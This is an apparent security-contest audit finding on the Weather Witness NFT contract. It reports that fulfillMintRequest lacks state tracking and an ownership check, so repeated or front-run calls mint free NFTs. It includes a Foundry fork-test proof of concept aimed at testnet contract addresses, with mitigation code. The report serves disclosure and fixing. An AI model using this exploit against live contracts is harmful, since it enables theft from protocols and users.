Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] Unlimited NFT Minting via Repeated Request Fulfillment (Missing Request State Management)

[H-2] Missing Request State Management in `fulfillMintRequest`, leading to Unlimited NFT Minting and increasing minting price

Description:

The fulfillMintRequest() function in WeatherNft.sol lacks state management to track whether a request has been fulfilled. After processing a mint request, the response data remains in storage and can be reused for additional mints. This allows anyone to call fulfillMintRequest() multiple times with the same requestId, resulting in unlimited free NFT minting.

Risk:

High - This vulnerability allows attackers to mint an unlimited number of NFTs without paying the mint price, completely breaking the economic model of the system.

Impact:

  • Direct financial loss for the protocol as NFTs can be minted without payment

  • Inflation of NFT supply, devaluing existing NFTs

  • Potential market manipulation as attackers can flood the market with free NFTs

  • Loss of trust in the protocol's security and economic model

Proof of Concept:

  • Add this code to a test file WeatherNftRepeatedMint.t.sol

  • run a fork test using forge test --match-contract WeatherNftRepeatedMint --fork-url $AVAX_FUJI_RPC_URL --via-ir -vvvvv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftRepeatedMint is Test {
WeatherNft public weatherNft;
LinkTokenInterface public linkToken;
address public functionsRouter;
address public victim = makeAddr("victim");
address public attacker = makeAddr("attacker");
function setUp() external {
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
// Fund test accounts
vm.deal(victim, 100 ether);
vm.deal(attacker, 100 ether);
}
function test_unlimitedMint() external {
/**
* 1) Victim initiates mint request and pays the correct mint price.
*/
string memory pincode = "125001";
string memory isoCode = "IN";
uint256 heartbeat = 1 hours;
uint256 initLinkDeposit = 0; // keeper registration disabled for simplicity
vm.startPrank(victim);
uint256 mintPrice = weatherNft.s_currentMintPrice();
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: mintPrice}(pincode, isoCode, false, heartbeat, initLinkDeposit);
vm.stopPrank();
/**
* Extract emitted requestId.
*/
bytes32 requestId = _getLastMintRequestId();
assertTrue(requestId != bytes32(0), "reqId == 0");
/**
* 2) Simulate oracle fulfillment with SUNNY weather.
*/
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(requestId, abi.encode(uint8(0)), "");
/**
* 3) Attacker front-runs the victim and calls fulfillMintRequest twice.
*/
uint256 startTokenId = weatherNft.s_tokenCounter();
vm.startPrank(attacker);
weatherNft.fulfillMintRequest(requestId); // first mint
weatherNft.fulfillMintRequest(requestId); // second mint – SHOULD FAIL, but succeeds
vm.stopPrank();
/**
* 4) Validate that two different tokenIds were minted to the attacker for free.
*/
uint256 afterTokenId = weatherNft.s_tokenCounter();
uint256 minted = afterTokenId - startTokenId; // how many were minted during attacker session
console.log("Minted NFT count:", minted);
assertEq(minted, 2, "Attacker should have received two NFTs");
// Verify ownership for both tokenIds minted.
for (uint256 i = 0; i < minted; i++) {
uint256 tokenId = startTokenId + i;
assertEq(weatherNft.ownerOf(tokenId), attacker, "Attacker not owner");
}
}
/* ░░░░░░░░░░░░░░░░░░░░ INTERNAL HELPERS ░░░░░░░░░░░░░░░░░░░░ */
/// @dev Reads the last WeatherNFTMintRequestSent event to obtain the requestId.
function _getLastMintRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i - 1].data, (address, string, string, bytes32));
break;
}
}
}
}

Mitigation:

Add state tracking to prevent multiple fulfillments of the same request. Here are two possible solutions:

Delete the response data after processing:

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
// Process the mint
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);
// Delete the response data to prevent reuse
delete s_funcReqIdToMintFunctionReqResponse[requestId];
// ... rest of the function
}

Add a fulfillment tracking mapping:

mapping(bytes32 => bool) public s_requestFulfilled;
function fulfillMintRequest(bytes32 requestId) external {
require(!s_requestFulfilled[requestId], "Request already fulfilled");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
// Mark request as fulfilled before processing
s_requestFulfilled[requestId] = true;
// ... rest of the minting logic
}

The second approach is recommended as it provides better gas efficiency and allows for potential future features like request cancellation or refunds.

Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.